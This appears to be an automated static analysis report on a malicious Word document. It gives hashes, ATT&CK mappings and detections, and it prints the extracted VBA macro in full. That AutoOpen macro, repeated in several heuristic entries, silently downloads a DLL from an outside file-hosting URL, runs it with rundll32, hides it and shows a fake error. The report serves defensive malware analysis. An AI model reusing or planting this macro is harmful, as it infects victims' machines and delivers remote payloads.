Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6f8de91852f8218c…

MALICIOUS

Office (OOXML)

47.0 KB Created: 2017-05-25 19:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-10
MD5: b229cbaa435a5c1d3cfdc32819a3f164 SHA-1: dffeefb268d7a6e435ade5e232bf2e86bda42ecd SHA-256: 6f8de91852f8218cda20ec68d39df53ff813454c7ae681af320fa66fd7d69a8c
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen subroutine that executes a PowerShell command. This command downloads a DLL file from 'https://srv-file5.gofile.io/download/HUPtFz/dll.dll' to 'C:\ProgramData\dll.dll', then executes it using rundll32. The macro also attempts to hide the downloaded file and displays a 'Corrupted File' message to the user.

Heuristics 9

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim x
        x = Shell("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadFile('https://srv-file5.gofile.io/download/HUPtFz/dll.dll','C:\ProgramData\dll.dll'); Start-Process rundll32 ""C:\ProgramData\dll.dll"",func")
        Sleep 9000
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Dim x
        x = Shell("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadFile('https://srv-file5.gofile.io/download/HUPtFz/dll.dll','C:\ProgramData\dll.dll'); Start-Process rundll32 ""C:\ProgramData\dll.dll"",func")
        Sleep 9000
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Dim x
        x = Shell("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadFile('https://srv-file5.gofile.io/download/HUPtFz/dll.dll','C:\ProgramData\dll.dll'); Start-Process rundll32 ""C:\ProgramData\dll.dll"",func")
        Sleep 9000
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Dim x
        x = Shell("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadFile('https://srv-file5.gofile.io/download/HUPtFz/dll.dll','C:\ProgramData\dll.dll'); Start-Process rundll32 ""C:\ProgramData\dll.dll"",func")
        Sleep 9000
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    #End If
    Sub AutoOpen()
        Dim x
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://srv-file5.gofile.io/download/HUPtFz/dll.dllIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 967 bytes
SHA-256: c1ba350374cb86e5146ba66f5d341334469e0d274eb33d1a359aa5859baca540
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

#If VBA7 Then ' Excel 2010 or later
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
#Else ' Excel 2007 or earlier
Public Declare Sub Sleep Lib "kernel32" (ByVal Milliseconds As Long)
#End If
Sub AutoOpen()
    Dim x
    x = Shell("cmd.exe /c powershell -NoP -NonI -W Hidden -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadFile('https://srv-file5.gofile.io/download/HUPtFz/dll.dll','C:\ProgramData\dll.dll'); Start-Process rundll32 ""C:\ProgramData\dll.dll"",func")
    Sleep 9000
    SetAttr "C:\ProgramData\dll.dll", vbReadOnly + vbHidden
    MsgBox "Corrupted File", vbCritical
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: a3bb771b61316898f7e4ec5e756f1a8e68b51d38ba9438c5fe6cf5b2fa66613e
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely